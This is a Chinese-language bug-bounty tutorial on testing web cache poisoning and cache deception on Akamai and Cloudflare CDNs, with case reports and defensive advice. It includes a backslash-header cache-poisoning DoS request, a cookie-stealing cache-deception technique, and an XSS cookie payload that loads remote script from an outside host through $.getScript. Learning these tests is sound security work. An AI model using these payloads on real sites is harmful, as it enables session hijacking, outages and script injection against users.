Bombon 方法论:我将如何测试Web缓存漏洞
字数 1998 2025-08-22 12:23:42
Web缓存漏洞测试方法论详解
1. Web缓存漏洞概述
Web缓存漏洞是指由于缓存机制配置或实现不当,导致攻击者可通过操纵缓存内容获取敏感信息、篡改数据或破坏服务安全性的安全风险。
主要攻击类型
- 缓存投毒(Cache Poisoning): 注入恶意响应误导用户
- 缓存欺骗(Cache Deception): 诱骗缓存存储私密数据
- 未授权缓存(Unauthorized Caching): 泄露本应受限的内容
典型漏洞示例
电商网站案例:
- 用户登录后的"猜你喜欢"页面配置为缓存10分钟
- 缓存键(Cache Key)设计不当,只根据URL路径(
/recommendations)缓存,未区分用户身份 - 攻击者可利用此漏洞让其他用户看到自己的推荐内容或篡改内容
2. 测试方法论
2.1 基础测试流程
对于无登录功能的应用程序(使用Akamai CDN)
- 抓包并发送到Repeater
- 检查服务器是否缓存正常请求
- 通过响应头
Server-Timing: cdn-cache; desc=HIT判断
- 通过响应头
- 在请求中添加非法请求标头
- 验证缓存效果
- 如果响应已成功缓存,在任何浏览器打开URL时应收到400 Bad Request
对于有登录功能的应用程序
- 创建测试用户
- 检查请求包中的敏感信息(如会话令牌)
- 发送到Repeater
- 在URL末尾添加可缓存的扩展名(.js, .css)
- 检查是否返回200 OK响应
- 使用测试账户访问修改后的URL
- 使用curl或隐私浏览窗口打开相同URL
- 验证令牌是否被缓存
- 如果令牌成功缓存,应在响应中看到令牌
2.2 Cloudflare CDN的特殊情况
- 非法Header通常无法正常工作
- 大多数Cloudflare客户使用Cache Deception Armor保护
- 可能的绕过方法:
- 使用.AVIF文件(非常未知的扩展文件)
- 对于未激活Cache Deception Armor的站点,可正常测试缓存中毒/欺骗
3. 实际漏洞案例
3.1 缓存欺骗导致账户接管
案例概述:
- 所有cookie(包括HTTPonly cookie)在
https://host.com/app/conversation/1.js中公开 - 认证用户访问此URL时,其所有cookie会被存储在缓存中
- 攻击者可提取cookie并劫持会话
技术细节:
- 赏金: $1,500
- 注意点:
- 如果响应是"404 Not found",Akamai可能只缓存不到10秒
- 如果响应是200 OK,缓存可能持续至少24小时
- 某些应用中,在扩展名前添加分号(;)可能返回200 OK(如
/xxx/xxxxxx/;.js)
3.2 缓存投毒导致DoS
案例概述:
- 在Akamai CDN中,发送反斜杠
\作为标头会导致400 Bad Request响应 - 当网站缓存正常响应(如
www.host.com/products/*)时,这会成为严重问题
请求示例:
GET /products/xxx/xxxx/xxx/?test HTTP/2
Host: www.host.com
\:
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
[...其他标头...]
响应示例:
HTTP/2 400 Bad Request
[...]
Server-Timing: cdn-cache; desc=HIT
[...]
技术细节:
- 赏金: $1,000
- Akamai改进: 400响应默认只缓存5秒
- 绕过方法: 使用Burp入侵者发送空有效载荷,可使400响应永久缓存
3.3 缓存中毒到存储型XSS
案例概述:
n_vis通过Cookie参数存在XSS漏洞- 服务器缓存了此响应,使XSS Payload被保存
- 网站使用Jquery,可利用
$.getScript函数绕过WAF
请求示例:
GET /xxxx/xx-xx.otf?triagethiss HTTP/2
Host: www.host.com
Cookie: n_vis=xssx'*$.getScript`//593.xss.ht`//
[...其他标头...]
响应示例:
<script>...Visitor.id='xssx'*$.getScript`//593.xss.ht`</script>
技术细节:
- 赏金: $1,000
- 测试点: 任何请求标头、Cookie、自定义标头、X-Forwarded-*标头
4. 防御建议
- 严格校验缓存内容
- 确保缓存键包含足够区分用户身份的信息
- 限制敏感数据缓存
- 避免缓存包含会话令牌或个人数据的响应
- 设置合理的缓存时间
- 根据内容敏感性调整缓存时间
- 规范缓存行为
- 使用Cache-Control等HTTP头明确控制缓存
- CDN特定配置
- 启用Cache Deception Armor等保护措施
- 对错误响应设置短缓存时间
5. 测试工具与技巧
- 主要工具:
- Burp Suite(Repeater, Intruder)
- curl
- 隐私浏览窗口
- 自动化工具:
- 仅推荐使用SQLmap测试SQL注入
- 缓存漏洞测试主要依赖手动方法
- 扩展名技巧:
- 尝试添加.js, .css, .avif等扩展名
- 尝试在扩展名前添加分号(;)
- 标头测试:
- 测试非法标头(如反斜杠)
- 测试X-Forwarded-*等自定义标头
6. 总结
Web缓存漏洞测试需要深入理解缓存机制和CDN行为,重点关注:
- 缓存键的设计是否合理
- 敏感信息是否被不当缓存
- 错误响应是否被缓存
- 特殊字符和扩展名的处理方式
通过系统性地测试这些方面,可以发现潜在的缓存相关漏洞,帮助提高Web应用的安全性。